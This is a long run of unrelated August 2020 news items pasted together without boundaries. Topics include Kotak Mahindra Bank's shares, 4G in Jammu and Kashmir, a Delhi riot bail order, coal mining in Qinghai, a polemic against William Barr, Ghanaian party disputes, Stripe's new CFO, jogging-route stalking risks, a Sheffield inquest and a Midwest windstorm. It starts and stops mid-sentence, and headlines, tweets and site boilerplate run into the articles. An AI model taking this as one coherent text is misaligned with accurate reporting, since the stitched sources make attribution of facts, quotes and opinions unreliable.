Mahindra Bank share price rose up to 1.83% to Rs 1,385 against previous close of Rs 1,360 on BSE. Kotak Mahindra Bank share trades higher than their 5, 20 and 50 day moving averages but lower than 200-day moving averages. Kotak Mahindra Bank shares have gained 3.07% in the last week. However, the stock has fallen 11% in one year and 19% since the beginning of this year. The share has gained 4.39% in six days. The large cap share has lost 11.03% in one year and fallen 19% since the beginning of this year. Total 1.02 lakh shares changed hands amounting to Rs 13.86 crore. Market cap of the firm rose to Rs 2.70 lakh crore. "In relation to the matter of dilution of promoters' shareholding in the bank, the bank has achieved compliance with the promoter shareholding reduction requirement set out in the Reserve Bank of India's letters dated January 29, 2020 and February 18, 2020 on August 10, 2020, within the timeline prescribed by the RBI," the bank said. Earlier in February this year, the bank informed that RBI had given its approval in relation to dilution of promoters' shareholding in the bank. Before this, on January 30, 2020, billionaire Uday Kotak-led lender and the banking regulator RBI had reached an agreement over the promoter's stake dilution, as the matter had reached the court. Axis, Kotak Mahindra Bank allege Rs 1,200 crore fraud by travel firm Cox & Kings As a consequence to that, Kotak Mahindra Bank had also informed that it was moving towards withdrawing a case it had filed against the RBI in the Bombay High Court over the matter. In last quarter, the bank reported a 8.5 per cent fall in its standalone net profit to Rs 1,244.45 crore for Q1 against net profit of Rs 1,360.20 crore in the year-ago period. However, Q1 FY21 net profit remained nearly flat when compared sequentially from Rs 1,266.60 crore in March quarter. Total income (standalone) fell to Rs 7,685.40 crore in April-June quarter of 2020-21 compared with Rs 7,944.61 crore in the same period of 2019-20, Kotak Mahindra Bank said. The bank's provisioning for bad loans and contingencies were raised substantially to Rs 962.01 crore for the quarter ended June 2020 as against Rs 316.76 crore. However, provisioning declined on a quarter-on-quarter basis from Rs 1,047.47 crore provisioning and contingencies for three months ended March 2020. On the asset quality front, the lender witnessed a slight deterioration, as the gross non-performing assets (NPAs) rose to 2.70 per cent of the gross advances as on June 30, 2020 from 2.19 per cent in the year-ago period. Share Market Highlights: Sensex ends 224 points higher, Nifty at 11,322; NTPC, ITC, JSW Steel top performers Share Market Highlights: Sensex ends 224 points higher, Nifty at 11,322; NTPC, ITC, JSW Steel top performers The Centre on Tuesday informed the Supreme Court that the special committee constituted to examine restoration of 4G services in Jammu and Kashmir has agreed to provide the high speed Internet access on a trial basis in limited areas. Attorney General K.K. Venugopal appearing for the Centre before a bench headed by Justice N.V. Ramana said that restrictions on Internet will be lifted on trial basis at certain geographical locations. It will be at one location in each district. The Centre informed the court that the relaxation from August 16, in one district each of Jammu and Kashmir division will be assessed after two months. The government also said that blanket restoration of 4G in the UT would not be possible due to threats to security. The apex court remarked "this is a fairly a good start", and commended the Centre's decision. The bench also observed that it hoped the situation would improve and the access could later be expanded. The Centre submitted that the special committee held its meeting on August 10, and explored multiple options in the backdrop of security situation in the union territory. They recommended opening up of 4G in specified areas of low intensity terrorist activities, not on international border even in the trial basis. Senior advocate Huzefa Ahmadi, appearing for the petitioner NGO, said: "Today is a good and a step forward at least some limited restoration has been made." Justice Ramana then closed the contempt case following the Centre's submission. The bench had given two weeks time to the Centre to file a reply on the intervention application. The contempt petition was filed by the NGO alleging that the Centre has not formed a special committee to review Internet restrictions in the UT despite the apex court's order. Trump vows to 'have a deal' with Iran deal 4 weeks after 2020 reelection Iran Press TV Monday, 10 August 2020 7:49 PM US President Donald Trump says he will "have a deal" with Iran a month after his possible reelection in the 2020 presidential election. The Republican nominee set to face former Vice President Joe Biden made the claim at a campaign fundraiser in the state of New Jersey on Sunday. "When we win, we will have a deal within four weeks," Trump was cited as saying by several media outlets. " His remarks were reportedly cheered by the crowd at the home of the late Stanley Chera, a real estate mogul, in Long Branch. While Tehran has maintained that it would not renegotiate under pressure, Trump made the comment as his country was about to introduce a resolution at the United Nations to extend an arms embargo against Iran. The president has also launched a so-called "maximum pressure" campaign against Iran spearheaded by war hawks such as Secretary of State Mike Pompeo. In January, the US president also ordered assassination of Iran's General Qassem Soleimani. Trump unilaterally withdrew from the Iran nuclear deal clinched under his predecessor in 2018 -- despite opposition from its allies as well as Russia and China. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The Delhi High Court has granted bail to an accused who was allegedly involved in the case of rioting and arson during the north east Delhi violence in Februrary this year. Justice Anup Jairam Bhambhani granted the relief to Mohd Anwar on furnishing a personal bond of Rs 50,000 with two sureties of the like amount from blood-relatives. The high court directed him not to leave the National Capital Region (NCR) without permission of the trial court and shall ordinarily reside in his place of residence as per prison records. Another aspect which deserves attention is the effect that pre-trial detention has on an accused, especially on his right to brief and consult his lawyers and to prepare his defence, in order to afford to the accused a real and not merely chimerical right to fair trial, as guaranteed under Article 21 of the Constitution, the judge said. The high court said till the time cognisance is taken on the charge sheet and the accused is summoned by the trial court, he shall present himself on every alternate Saturday before the investigating officer of the case. He shall not contact or visit or offer any inducement, threat or promise to the first informant or complainant or any of the prosecution witnesses and shall not tamper with evidence or indulge in any act that would prejudice the proceedings in the pending matter. According to the plea, he was taken into custody on April 3 in connection with another FIR lodged at Dayalpur police station in north east Delhi for alleged offences of rioting and mischief by fire or explosive substance with an intent to destroy a house under the IPC. Subsequently, he was arrested in this case. Besides this case, he is also accused in four other FIRs lodged by the Dayalpur police in relation to the Delhi riots in February this year. He was granted bail in two of the four cases. As per the complainant, the incident took place on February 14, when a mob was engaged in rioting and destruction of property in certain areas of north-east Delhi. During the rioting, the shop of one Mohd Shanawaz in Shiv Vihar area was burnt down and he filed a complaint with the police on March 4, around 10 days after the incident. As per the nominal roll placed by the authorities before the court, Anwars jail conduct was satisfactory in the last three months. The high court, in its order, noted that the investigation in the present FIR is complete and the charge sheet has already been filed on July 1. It noted that co-accused Firoz Khan has already been granted by the high court on May 29. The prosecution alleged that Anwar was one of the persons involved in arson and rioting, for which he was arrested and has been kept in judicial custody ever since. Communal clashes had broken out in northeast Delhi on February 24 after violence between citizenship law supporters and protesters spiralled out of control leaving at least 53 people dead and around 200 injured. SHARE THIS ARTICLE ON Illegal coal mining on a state-protected nature reserve in Chinas northwestern Qinghai province has caused massive ecological damage and deprived Tibetan nomads of food for livestock, sources in the region told RFA. Chinese authorities announced Sunday that, following local media investigations into open-pit coal mining in the Qilian mountains, they detained Ma Shaowei, owner of mining company Xingqing, in Qinghais Haixi Tibetan Autonomous Prefecture. Even though the Mining Company tried to bribe the families who are residing near the area, Tibetan nomads and farmers in the region are facing huge adversity, losing their herds to environmental problems, a local source told RFAs Tibetan Service. Waters are contaminated, too, and there is no one to report and complain to, the source said. Environmental protection groups have shown videos and photos of grass, water and even sheep have stained black by coal mine runoff and dust. The Qilian range marks the border of Qinghai and Gansu provinces and serves as a source of the Yellow River, with glacier-covered mountaintops as high as 19,000 feet (6,000 meters). Scientists have warned that the damage to the areas soil could be permanent, which could aversely affect Qinghai Lake and the upstream portion of the Yellow River. Xingqing recently had tried to project the image of an environmentally responsible organization that was helping to fix the mining areas ecology, but its harmful mining operations continued. Tibetans have been calling on the Chinese government to do something about this issue for many years but nothing has come of it and Tibetan nomads have been struggling for their livelihood due to deteriorating environmental issue, U.S.-based Tibetan legal expert Dolma Kyab told RFA. Mas detention was sparked by a two-year investigation by the state media-affiliated Economic Information Daily newspaper, which found that Xingqing had mined the Qinghai side of the mountain range in Tianjun county since 2006 without a permit, earning some 15 billion yuan (U.S. $2.15 billion) in profits. According to Xingqing employees quoted in the report, Xinqing was alerted in advance whenever provincial or national inspectors were planning to visit the mining area. The company would then stop mining for several days and its equipment and trucks were moved to piled slag, which made it look like they were reconstructing the damaged ground. The report said that sometimes mining would continue in the evening after inspectors left. According to local media reports, Li Jiexiang, the senior deputy governor of Qinghai confirmed that the company had conducted illegal mining activities and task forces from the police and the the anticorruption agency would investigate further. The mining company has suspended its operations for further investigation. Five Haixi prefecture officials were also fired and are currently under investigation for corruption. In a June 2020 RFA report, sources contradicted Beijings claim that under Chinese rule, Tibet has successfully protected and preserved its environment. The sources pointed to mining, illegal or otherwise as a major contributor to the regions environmental decline. Chinese mining operations in Tibetan areas have caused great harm to the environment, Zamlha Tenpa Gyaltsena Tibetan environmental researcher at the Tibet Policy Institute in Dharamsala, India, told RFA in the report. Tibet as the Roof of the World used to have a pristine environment, with hardly any problems with air and water. [But] the Chinese have excessively exploited Tibetan natural resources, and this has created issues with air and water pollution, and many animal species are now extinct, Gyaltsen said. In April, the London-based Free Tibet said in a report that millions of nomads had been forced from their grasslands by Chinese government policy, opening their land for the extraction of resources and ending traditional agricultural practice which have sustained and protected the Tibetan environment for centuries. Chinese government-owned mining companies are quickening their extraction of copper, gold and silver in Tibet, Free Tibet said, adding that these mines are usually based close to rivers and that most workers in the mines are Chinese, who carry out their work without regard to the environment or to areas of religious significance to Tibetans living nearby. Reported and Translated by RFAs Tibetan Service. Written in English by Eugene Whong. In a television interview Sunday night on Fox News, US Attorney General William Barr declared that some of the Democratic representatives who questioned him at a congressional hearing two weeks ago were revolutionaries seeking to overthrow American capitalism, in league with terrorists. US Attorney General William Barr on Fox News The fascistic rantwhose logical conclusion is the criminalization of all political opposition to the Trump administrationcame in the course of an appearance on Life, Liberty & Levin, a Sunday night interview program. Barr began with fulsome praise for the police, attacking the Black Lives Matter movement and the protests against police violence that swept the United States after the May 25 police murder of George Floyd. The fact is, generally speaking, we have superb police in this country, he said. There will be some instances of excessive force, but by and large its an excellent police force. And if theyre going to be demonized like this, theyre not going to work in these cities. Host Mark Levin, in what appeared to be a choreographed effort, cited a report by an ultra-right think tank on the loosely organized protest group Antifa (antifascist). The Gatestone Institute, which sponsors brazenly Islamophobic research, was chaired until 2018 by John Bolton, who then joined the Trump administration as national security adviser. The Gatestone report cites material produced by the Verfassungschutz, the German secret service agency that has placed the German Trotskyists of the Sozialistische Gleichheitspartei (SGPSocialist Equality Party) on its surveillance list, while giving its stamp of approval to the Alternative for Germany (AfD), the principal vehicle for the revival of neo-Nazi trends in Germany. The report presents Antifa as a large, well-organized international conspiracy of tens of thousands of militants, although it is invariably described by supporters as little more than a signboard used by anarchists and other protesters in different localities, who communicate through social media but do not constitute an organization in any real sense of the term. Barr hailed the Gatestone reportwhich quotes his own comments about Antifaand launched into a diatribe against Antifa. They are a revolutionary group that is interested in some form of socialism, communism, he said. Theyre essentially Bolsheviks. He went on to claim that Antifa used fascistic tactics. According to Barr, they infiltrated the mass protests against police violence. What they do is, they are essentially shielding themselves or shrouding themselves in First Amendment activity, he said. They hijack these demonstrations and they provoke violence. And they have various tiers of people from the sort of top provocateurs down to people who are their minions and run the violent missions. He continued, Its a new form of urban guerrilla warfare. Mao Tse-Tung used to speak about the guerrilla being like fish swimming in the ocean the way the guerrilla moves through the people. The guerrilla hides out among the people as a fish in the ocean. The purpose of this demented presentation, issued without the slightest attempt to present any evidence, was to make an amalgam stretching from the alleged violent protesters through Black Lives Matter and other groups organizing the anti-police protests, to the Democratic Party. Barr described this entire range of political opinion as though it were a unified and coherent political tendency, which he described as the left, which was seeking power through a coordinated campaign to remove Trump from office. All those opposing Trump constituted a Rousseauian Revolutionary Party that believes in tearing down the system. The attorney general included the corporate media in this amalgam, claiming that the media deliberately concealed evidence of widespread Antifa violence in Portland, Oregon and other US cities. Anyone with eyes can see whats happening, he declared. They see the violence. They see these groups of agitators and their black outfits, their helmets and their shields, which, incidentally, have the hammer and sickle on them most of the time, are rushing the police, causing violence, throwing rocks You dont see it on any of the national news. You dont see it on the networks. You dont see it on the cable stations. And yet you hear about these peaceful demonstrators, so its a lie. The American people are being told a lie by the media. There is a definite fascistic content to the type of political amalgam concocted by Barr. Just as Trump tweeted that Black Lives Matter protests constituted treasona crime punishable by deathBarr suggests that the left is at war with the Trump administration and America, and should be treated accordingly. Referring to the House Judiciary Committee hearing, where there was mild criticism of federal police tactics in Portland, Barr said that some members of the committee were true believers and essentially revolutionary, while the majority were cowards who are mostly interested in getting reelected. After reading those words, dripping with menace, it is necessary to remind oneself that Barr is not a Nazi jurist condemning all opponents of the Fuhrer to be hanged. He is the chief law enforcement official of a government that is nominally democratic, where public opposition to the president is legal, and where the First Amendment to the Constitution guarantees such rights as freedom of speech and freedom of assembly. Despite his phlegmatic demeanor and lawyerly word-juggling, however, Barr has much in common with Carl Schmitt, the principal legal theorist of the Third Reich. That such an individual is the nations chief law enforcement official and presides over the machinery of the justice system of the United States testifies to the rotted out, degenerate and profoundly antidemocratic character of American democracy. Genuine democracy is incompatible with the staggering levels of social inequality that prevail in the US. More accurately, the United States is an oligarchic society that has yet to fully shed the trappings of bourgeois democracy, but, in the face of mounting social tensions and a growing threat of working-class revolution, is lurching toward dictatorial forms of rule. Trumps attorney general is well aware that groups like Antifa and acts of minor vandalismoverturning fences outside federal buildings and setting small firesare no threat whatsoever to the capitalist system. In his reference to the Bolsheviks, however, Barr reveals his real fears and those of the entire American ruling elite, whether pro-Trump or anti-Trump. The Bolshevik Party led the first successful mass revolutionary workers uprising in history, the October Revolution of 1917 in Russia, which established the Soviet Union as the first workers state. It is the repetition of that example, on a much wider scale, that is the nightmare of American imperialism and its official thugs like Barr. For their own political reasons, they choose to lump together the threat from below, from the working class, and their opponents within the ruling elite, in the Democratic Party. But it is the working class that is the real target of the repressive measures that Barr & Co. are preparing. YEREVAN, AUGUST 11, ARMENPRESS. The delegation of the General Staff of the Armed Forces of Armenia headed by Chief of the Staff Lieutenant-General Onik Gasparyan visited the Republic of Artsakh on August 11. As ARMENPRESS was informed from the press service of the Defense Ministry of Artsakh, accompanied by Defense Minister of Artsakh, Commander of the Defense Army Major-General Jalal Harutyunyan, Onik Gasparyan visited a number of military facilities in the eastern direction. The top level military officers observed the process of position fortification works, got acquainted with the living and service conditions of servicemen. During the working visit a broad scope of issues of defense capacities of the two Armenian republics were discussed. Editing and translating by Tigran Sirekanyan Some members of the New Patriotic Party (NPP) in the Wulensi Constituency in the Northern Region are appealing to the National Executive Committee (NEC) of the party to fast track the resolution of the parliamentary primary dispute in the area. With barely five months to the general election, the NPP members have stated that they do not have a recognised parliamentary candidate for the constituency due to the disputed results. The NEC of the NPP was expected to deliver its verdict on the issue in the coming days. NPP delegates in the constituency went to the polls on June 20, 2020, to decide on whom to become their parliamentary candidate going into the December 2020 general election. At the end of polls on June 20, 2020, four votes were in contention as some officials of the party claimed some deceased delegates took part in the voting process and they also claimed there were over-voting in some polling centres and non-delegates were allowed to vote in some places. The incumbent Member of Parliament (MP), Thomas Donkor Ogajah at the end of polls had 212 votes, while Alhaji Abdulai Haruna had 210 votes, although officials of the Electoral Commission who supervised the exercise declared incumbent MP winner of polls, some members of NPP in the constituency refused to accept the results. The youth in Wulensi burnt the NPP office in the area on June 21, 2020, in protest of outcome of the parliamentary primary, according to the irate youth; results of the primary did not reflect choice of the people. Alhaji Haruna and his team subsequently petitioned the partys NEC to make pronouncement on the issue which has left Wulensi constituency without a candidate for NPP barely five months to the general election with some party members in the constituency and urged NEC to come out with its verdict without delay to enable them to adequately prepare for the polls. Abdul Razak Fuseini, a member of the NPP in the constituency, noted that we are telling the National Executives to be very careful in settling the matter else the party will lose the seat because some delegates are no longer in the constituency, but some people voted for them and they want us to accept this? Source: The Ghanaian Times Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video By Jun Ji-hye Korea's public human resources management led by the Ministry of Personnel Management has been garnering worldwide attention, as the nation's response to the COVID-19 outbreak has been praised by a number of international health experts and media for its significant testing and diagnostic capability along with its real-time information system. The ministry said Monday that it has received inquiries from Kazakhstan, Uzbekistan, Saudi Arabia and other developing countries on the government's personnel administration measures to overcome the public health crisis. The ministry in charge of the public human resources management for the central government has held 12 web conferences with those countries this year amid the pandemic, sharing its knowhow on the recruitment and evaluation of public officials as well as digital transformation of the personnel management system. The ministry and the OECD held four video conferences between April and June to discuss the role of government in coping with the public health crisis. On June 17, the ministry hosted an online seminar in cooperation with the Astana Civil Service Hub, in which it shared its COVID-19 response experience with about 10 countries including Ukraine and Kazakhstan, as well as international organizations including the United Nations Development Programme. The ministry has also been active in signing memoranda of understanding (MOUs) with governments of other countries to boost cooperation. It signed an MOU with Saudi Arabia in June, and is in its final stages of signing agreements with Uzbekistan and Kyrgyzstan. "We expect MOUs with foreign governments to foster a deeper level of cooperation in making personnel-related policies and improving competence of public officials," a ministry official said. Stripe will not seek an imminent IPO, according to co-founder John Collison. Mr Collison was speaking after the company announced the appointment of Dhivya Suryadevara as its new chief financial officer (CFO). Ms Suryadevara joined Stripe from the US car manufacturer, General Motors, where she was the CFO. Asked on Twitter whether this meant that Stripe was preparing for an IPO, Mr Collison replied: no. Stripe, co-founded by Limerick brother Patrick and John Collison a decade ago, is one of the most anticipated IPO-ready firms in Silicon Valley. It recently raised an additional $600m (510m) which now values the company at almost $36bn (31bn). It claims to have seen substantial business activity since the onset of the pandemic, saying that it will soon have paid out $10 billion to customers that joined Stripe since the onset of the pandemic in the US in March. Earlier this summer, it announced that it would roll out its services to another five European countries, with a further 10 across Asia and South America. The companys Dublin office is its largest international engineering hub with around 300 people. Im very excited to join Stripe at a pivotal time for the company, said Ms Suryadevara. Stripes mission to increase the GDP of the internet is more important now than ever. I really enjoy leading complex, large-scale businesses and I hope to use my skills to help accelerate Stripes already steep growth trajectory. Stripe now employs 2,800 people across 16 global offices. Stripe has ramped up international expansion significantly over the past year, launching the service in 15 new countries across Latin America, Asia Pacific and Europe. Dhivya is a rare leader who has run an industry-leading leviathan but also gets excited about enabling the brand-new products and the yet-to-be invented products, too, said John Collison. She has the expertise and the instincts to help steer Stripe through our growth in the years ahead. Stripe has also recently hired Mike Clayville, formerly of Amazon Web Services, as its chief revenue officer, and Trish Walsh, previously at Voya Financial, as its general counsel. Kwesi Pratt has lauded President Nana Akufo-Addo's intervention in the dismissal of some fourteen (14) final year students by the Ghana Education Service (GES). Some of the students were seen in a viral video blaming and insulting President Akufo-Addo because they couldn't write their Integrated Science paper while others decided to vandalize their school properties. The Ghana Education Service dismissed and barred the students from writing the ongoing WASSCE examinations following their misconduct towards the President. The GES further surcharged the students, who resorted to vandalism, for the full cost of the damages and referred the matter to the Police. Some teachers who were supposed to invigilate the students but misconducted themselves were also punished and the Police charged to launch investigations into their misbehaviour. Following the GES sanctions, the President issued a statement pleading with the education authority to grant the students clemency and allow them to participate in their final exams while the other punishments hold. "Even though the acts of indiscipline undertaken by these students are intolerable, acts which have led to their subsequent dismissal from school, President Akufo-Addo is of the firm view that dismissal alone is enough punishment, and will serve as enough deterrent against future acts of indiscipline," the statement by the Director of Communications Office of the President, Eugene Arhin, read. Contributing to a panel discussion on Peace FM's 'Kokrokoo', Kwesi Pratt was elated that the students will be permitted to write their final examinations. Although he doesn't condone the behaviour of the students, he however believed denying the students the opportunity to write and finish their exams would have dire consequences on the nation. To him, the President's call for leniency was an appropriate call. ''Even convicted criminals are permitted to write exams. So, why wouldn't the students be allowed to write their exams? I'm saying even murderers can write exams, why not the students?'' he questioned. ''I was very glad when the President intervened because I couldn't agree that the students should be prevented from writing their exams. Do we understand the consequences if they don't write the exams? Because there are some of the students who if they are not able to write these exams, the person won't write again or cannot further his or her education. And if care is not taken, the person would turn into a social misfit and commit hideous crimes against this country.'' Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video People tend to post everything they do online, including their daily routines such as running or jogging. However, a report implies that people should stop posting their regular running routes online because stalkers will have easy access to it, allowing them to follow you without you even knowing it. If a beautiful girl goes for jogging everyday, she can improve health of atleast 10 boys ? Do you Know?If a beautiful girl goes for jogging everyday, she can improve health of atleast 10 boys ? pic.twitter.com/fwVDXFb4Hj JP MORGIX KANO FINEST #BBNaija (@jp_morgix) July 29, 2020 Also Read: [BEWARE] China's All-Seeing Massive Surveillance Could Monitor Every 'Millimeter' of an Entire Populaton According to 9TO5Mac's latest report, online users tend to half-joke that if people don't post the logs from their cycle ride or running routine, it didn't happen at all. But, posting your daily records on social media platforms could reveal more information about your activity. Also Read: China's Voice Bots Can Make 3,000 Annoying Calls A Day Even If You Block Them A Twitter thread gained comments about the experience of different people being stalked after they posted their experience from stalkers, which was first reported by Gizmodo. "It is actually so dangerous to post your running route online every day," captioned the Twitter user, @jihanmarie, who started the thread. "Reminds me of when someone asked on Twitter: ladies, what would you do if there were a curfew for men after 6pm? The main answer was : going for a run," replied another user, @MAN_ANGE. How posting daily running routines lead to potential stalking It was claimed that the app map, which shows a person's daily route, could reveal a great deal to potential stalker or attacker if posted on Facebook, or even Twitter. According to Gizmodo's latest report, unknown people can easily track your location if you don't crop out your route's GPS map. It also explained that some individuals tend to post their runs on several social media platforms. It becomes a habit since they will continue to share their same 5 kilometers route early in the morning, and in the same park or road. This habit could allow unknown people to memorize their daily locations when jogging or running, as well as their average pace. Stalkers or attackers would have enough information about your daily run, allowing them to know your current and your next location. The writer who posted the threat explained that it is easy to spy a person living several thousand miles. MapMyRun app is one of the applications that show people's workout history. Its "Explore tab," which is located in the main feed, can allow any person to stalk a random individual's profile and running route history. Selfies and other pictures are also posted on the app, enabling attackers and stalkers to identify their victims physically. Scammers Sell Millions of Fake Views on Instagram Reels: You Can Buy 1,000 View For $5 This article is owned by TechTimes, Written by: Giuliano de Leon. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Police have said that the officer was part of a new unit designed to swarm into crime hot spots and that the unit recently established by police Superintendent David Brown has not yet been assigned cameras. Police have said Allen shot at them first, but the lack of a camera on the officer so far has left them unable to back up the claim with video. Celia Jackson died on 31 July last year. (SWNS) An 89-year-old widow was killed by a drug driver who had taken cocaine and heroin before getting behind the wheel, an inquest has heard. Celia Jackson was struck by a 25,000 Mercedes being driven by Darren Griffiths in Sheffield on July 31 last year. The retired seamstress was rushed to the citys Northern General Hospital with devastating injuries but tragically died two days later. Griffiths died earlier this year from an unconnected drug-related incident while being investigated over Jacksons death. An inquest at Sheffield Coroner's Court heard on Monday that Jackson was standing by her own vehicle when she was 'clipped' by Griffiths' Mercedes A160 as he drove past. She was pronounced dead at Northern General Hospital in Sheffield. (Google) Witnesses said they saw the Griffiths driving very slowly, between 15 and 20mph, and swerving into the wrong lane prior to the collision. One witness, Bev Truman, captured footage of the incident showing Griffiths hitting Jackson and continuing to drive at a slow speed - apparently unaware of the collision. Keith Robinson, another witness, told the court he drove alongside the Mercedes after the collision attempting to get Griffiths attention and tell him to stop but said the driver did not register him and looked "out of it". A short distance down the road Griffiths hit another car and overturned his vehicle, becoming trapped. He was freed from his vehicle and taken to hospital with minor injuries and arrested. A blood sample taken while Griffiths was in hospital found he had both heroin and cocaine in his system. PC Richard Thorley said Griffiths had claimed before he died that he had crashed because stitches from a recent operation had come undone and he was in considerable pain. He later told police he had been experiencing a psychotic episode and had not been aware of the collision at the time, nor did he have any recollection of it. Concluding the inquest, assistant coroner Mrs Katy Dickinson said: "If he had not passed away this gentleman would have been prosecuted and we would not have had to meet [at an inquest]." Mrs Dickinson told Mrs Jacksons family, I am sorry that you have not got justice for his potential criminality. To the Editor: Re Putin Says Russia Is First to Approve Vaccine, but Skepticism Abounds (news article, Aug. 12): Now that President Vladimir Putin has declared that a vaccine has been approved in Russia despite the fact that a scientifically standardized set of tests and trials has not been completed, the stage is set for President Trump to emulate that action. With Mr. Trump lagging badly behind Joe Biden in virtually every poll, he is likely to pull a September or October surprise. Its probable that Mr. Trump will try to convince voters that a vaccine has been successfully tested and proven to safely protect people from the coronavirus, even though there will not have been nearly enough time to scientifically prove that. How will Mr. Biden, Senator Kamala Harris, other members of Congress and the media respond to approval of a vaccine that has not been fully vetted or tested? The answer may prove to be a significant factor in how the November election turns out. Alan Safron Woodcliff Lake, N.J. To the Editor: It looks as if both Russia and the United States will be rushing poorly tested coronavirus vaccines into use in response to political demands rather than following standard vaccine development and testing protocols. The Omaha-Council Bluffs area was buffeted by strong winds Monday that knocked down trees and power lines but brought little or no rain to the parched land. The windstorm, traveling at up to 60 miles per hour, struck at 9 a.m. or shortly afterwards, surprising many residents with its sudden arrival. There wasnt even any thunder with it, at many locations, said Brian Barjenbruch, meteorologist at the National Weather Service Valley, Nebraska office. The clouds just appeared, and the wind picked up very quick. The wind rolled an eastbound semi over into the ditch near the 27 mile marker of Interstate 80, according to the Iowa State Patrol, and sent many tree limbs crashing down, with some landing on power lines, houses or city streets. A large limb from a silver maple tree took out multiple utility lines in the 200 block of Park Avenue in Council Bluffs. Telecommunications cables laid across the street, while power lines fortunately fell short of that. The outage was reported by Lorraine Hassett, who lives behind the house where the limb fell. Her husband, Ed, drove back from Anytime Fitness in Omaha soon after that. Coming back across the bridge, there was such a strong side wind, I thought it was going to blow my car off the road, Ed Hassett said. Other limbs in the neighborhood also blew down, according to Juan Miranda, who lives just up the street on Park Avenue. It just went all dark all of a sudden, and the tree went down and hit the neighbors fence, he said. He was outside cleaning up his backyard and saw it go down. Electrical service was interrupted for more than 4,200 customers in Council Bluffs Monday morning, according to the MidAmerican Energy Co. website. Utility crews spent the day scrambling to remove limbs and restore broken connections. At 4 p.m., the number was down to about 1,297. Public works crews crisscrossed the city throughout the day picking up branches on Avenue A and other streets. The storm swept clear across the state, according to Tina Hoffman, spokeswoman for MidAmerican Energy Co. We actually have about 250,000 (customers) in total that have been out of power through the state, she said. This will be a multi-day restoration effort. The upcoming forecast, according to the weather service: Today: Mostly sunny, with a high near 84. Southeast wind 3 to 8 mph. Tonight: A 20% chance of showers and thunderstorms after 1 a.m. Partly cloudy, with a low around 70. Southeast wind around 8 mph. Wednesday: A 30% chance of showers and thunderstorms, mainly after 1 p.m. Partly sunny, with a high near 88. South southeast wind 6 to 11 mph, with gusts as high as 22 mph. New rainfall amounts of less than a tenth of an inch, except higher amounts possible in thunderstorms. Wednesday night: A 40% chance of showers and thunderstorms, mainly after 1 a.m. Partly cloudy, with a low around 71. Southeast wind 6 to 10 mph, with gusts as high as 20 mph. New rainfall amounts between a quarter and half of an inch possible. Thursday: A 30% chance of showers and thunderstorms. Mostly sunny, with a high near 87. New rainfall amounts between a half and three quarters of an inch possible. Thursday night: A 30% chance of showers and thunderstorms. Partly cloudy, with a low around 70. Friday: Mostly sunny, with a high near 90. Friday night: A slight chance of showers and thunderstorms. Partly cloudy, with a low around 71. Saturday: A slight chance of showers and thunderstorms after 1 p.m. Mostly sunny, with a high near 89. Saturday night: A chance of showers and thunderstorms. Partly cloudy, with a low around 66. Sunday: Mostly sunny, with a high near 83. Sunday night: Mostly clear, with a low around 62. Monday: Mostly sunny, with a high near 82. Local Weather Get the daily forecast and severe weather alerts in your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. PM Modi (India Government Press Information Bureau via AP) Prime Minister Narendra Modi on Tuesday is holding consultations with chief ministers of around 10 states on the coronavirus situation. Chief ministers of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana and Uttar Pradesh have been invited for the virtual meet. Defence Minister Rajnath Singh is also present in the meet. The meet assumes significance as these 10 states have a high populaton density and the idea is to bring down the virus caseload. This is the seventh video conference of the prime ministers with the states since the outbreak of the pandemic. This is also the first meeting of the prime minister with chief ministers during unlock 3 on the pandemic. COVID-19 cases in India dipped below 55,000 in a single day on Tuesday after the country recorded over 60,000 cases daily for four days on the trot, according to the Union Health Ministry data released on Tuesday. With the fresh cases, India's COVID-19 tally rose to 22.68 lakh, while the recoveries have surged to 15,83,489, pushing the recovery rate to 69.80 percent. The principal secretary of the health and family welfare department in Madhya Pradesh (MP) was among the eight Indian Administrative Service (IAS) officers transferred in a bureaucratic reshuffle following an order by the Shivraj Singh Chouhan-led state government. Faiz Ahmad Kidwai, a1996-batch IAS officer, who was initially appointed as the commissioner of the directorate of health in early April and later elevated to the principal secretary of the health department in mid-May amid the raging coronavirus disease (Covid-19) outbreak in the state, has been shifted to the food and civil supplies department. Kidwai will replace Shivshekhar Shukla, a 1994-batch IAS officer, who will take charge of public relations (PR), culture, and tourism departments. This year MP has created a national record during Shuklas tenure because it has surpassed Punjab, as the top state in the country to procure wheat from farmers. Rajesh Rajora, a 1990-batch IAS officer, who has been heading the labour department as an additional chief secretary (ACS), has been appointed the in-charge of home and jail departments. Rajora will replace ACS and his batchmate SN Mishra, who has been shifted to the water resources department and along with additional responsibility for the transport department. Manoj Govil, a 1991-batch IAS officer and principal secretary, has been transferred to finance from the commercial tax department. He has also been given the additional charge of planning, economics and statistics department. Deepali Rastogi, a 1994-batch official, who has been heading the micro, small and medium enterprises (MSME) department, will replace Govil. Vivek Kumar Porwal, a 2000-batch IAS officer, will replace Rastogi. Porwal has been the secretary in the industrial policy and investment promotion department. John Kingsley AR, a 2004-batch IAS officer, has been appointed as the managing director (MD) of Madhya Pradesh State Industrial Development Corporation (MPSIDC) and the states Trade and Investment Facilitation Corporation Ltd (TRIFAC) following his return from a Central deputation. He will also handle Porwals portfolio. SHARE THIS ARTICLE ON Listen, youre reading this on the Internet, so I assume you can figure out how to reach my bosses and the human-resources people, maybe even the people I love. We all know you can figure out how to poison my dog. And so, with that in mind, I want to assure the readers that, officially, I believe the polls. And they tell a simple story: Bidens our next president. I totally, officially dont think pollsters are capable of misleading others or themselves. Pollsters are really the most capable people we have in this country. The real heroes. Almost as admirable as rioters. And, just so you know, I definitely, totally understand that conspiracies arent real. In fact, I dont think human beings are capable of conspiring. They cant even plan things most of the time. Nobody could possibly have a backup plan, because that would mean Im a crazy person. And no one needs a backup plan. Because beating Donald Trump in November should be relatively easy for Democrats. He is a historically unpopular president. He hasnt kept a variety of his campaign promises, whether its getting Mexico to pay for the wall or bringing the troops home from doomed wars. There is a 